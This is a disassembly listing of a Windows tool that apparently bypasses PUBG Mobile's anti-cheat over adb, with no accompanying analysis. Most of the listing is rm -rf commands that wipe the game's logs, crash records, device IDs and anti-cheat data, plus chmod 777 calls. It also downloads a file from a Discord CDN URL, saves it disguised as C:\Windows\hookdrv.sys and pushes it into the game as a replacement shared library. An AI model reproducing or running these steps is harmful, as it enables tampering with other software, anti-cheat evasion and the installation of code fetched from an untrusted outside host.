lea rcx, str.adb_shell_chmod__R_777__data_data_com.pubg.krmobile_shared_prefs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.pubg.krmobile_databases_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_mv__data_data_com.pubg.krmobile_shared_prefs_device_id3.xml_data_data_com.pubg.krmobile_shared_prefs_device_id.xml
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_touch__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Intermediate
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_touch__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_SaveGames
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.pubg.krmobile_code_cache
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.pubg.krmobile_app_bugly
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.pubg.krmobile_app_crashrecord
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.pubg.krmobile_app_databases
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.pubg.krmobile_app_webview
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.pubg.krmobile_cache
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.pubg.krmobile_no_backup
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_cache
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140145620]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_.fff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_ca_bundle.pem
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_login_identifier.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_TGPA
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.pubg.krmobile_app_textures
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_media_0_.backups_com.pubg.krmobile
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf_sdcard_.zzz
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf_sdcard_Android_.system_android_12
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf_sdcard_Android_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.pubg.krmobile_cache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.pubg.krmobile_code_cache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.pubg.krmobile_shared_prefs_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.pubg.krmobile_databases_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.pubg.krmobile_files_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_cache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_SaveGames_.json
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.adb_shell_am_start__n_com.pubg.krmobile_com.epicgames.ue4.SplashActivity
lea rcx, [rbp + 0x460]
call fcn.140058af0
mov rcx, rax
call fcn.14004d4f0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.Game_Bypassed_Successfully...
lea rcx, [0x1408b51b8]
call fcn.1400589e0
call fcn.14004de80
int3
call fcn.1400015a0
call fcn.1400015d0
lea rdx, str.Game_Starting...
lea rcx, [0x1408b51b8]
call fcn.1400589e0
lea rdx, str.C:Windowshookdrv.sys
lea rcx, [rbp + 0x2c0]
call fcn.140058af0
lea rcx, [rbp + 0x2c0]
call fcn.14004dba0
lea rcx, [rbp + 0x2c0]
movzx ebx, al
call fcn.140058a00
test bl, bl
jne 0x14005754f
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea r8, str.C:Windowshookdrv.sys
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1105184585278574732_1112179748966248508_libc_shared.so
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.adb_kill_server
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_devices
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_am_force_stop_com.rekoo.pubgm
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_mv__data_data_com.rekoo.pubgm_lib_libc_shared.so__data_data_com.rekoo.pubgm_lib_TempShared__adb_push_C:Windowshookdrv.sys__data_data_com.rekoo.pubgm_lib_libc_shared.so
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.del_C:Windowshookdrv.sys
lea rcx, [rbp + 0x430]
call fcn.140058af0
mov rcx, rax
call fcn.14004dbe0
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_Logs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_UpdateInfo
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_TableDatas
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_conversation.ini
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_GameErrorNoRecords
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_StatEventReportedFlag
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_ImageDownload
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_MMKV
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_rawdata
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_Pandora
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_PufferEifs1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_PufferEifs0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_PufferTmpDir
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_RoleInfo
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_databases
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_files_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Intermediate
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_SaveGames
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_shared_prefs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_mk_dir__data_data_com.rekoo.pubgm_shared_prefs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_chmod__R_777__data_data_com.rekoo.pubgm_shared_prefs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_databases_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_mv__data_data_com.rekoo.pubgm_shared_prefs_device_id3.xml_data_data_com.rekoo.pubgm_shared_prefs_device_id.xml
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_touch__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Intermediate
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_touch__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_SaveGames
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_code_cache
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_app_bugly
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_app_crashrecord
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_app_databases
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_app_webview
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_cache
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_no_backup
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_cache
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1401443b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_.fff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_ca_bundle.pem
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_login_identifier.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_TGPA
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_app_textures
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_media_0_.backups_com.rekoo.pubgm
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf_sdcard_.zzz
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf_sdcard_Android_.system_android_12
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf_sdcard_Android_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_cache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_code_cache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_shared_prefs_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_databases_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_files_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_cache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_SaveGames_.json
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.adb_shell_am_start__n_com.rekoo.pubgm_com.epicgames.ue4.SplashActivity
lea rcx, [rbp + 0x460]
call fcn.140058af0
mov rcx, rax
call fcn.14004d4f0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.Game_Bypassed_Successfully...
lea rcx, [0x1408b51b8]
call fcn.1400589e0
call fcn.14004e440
int3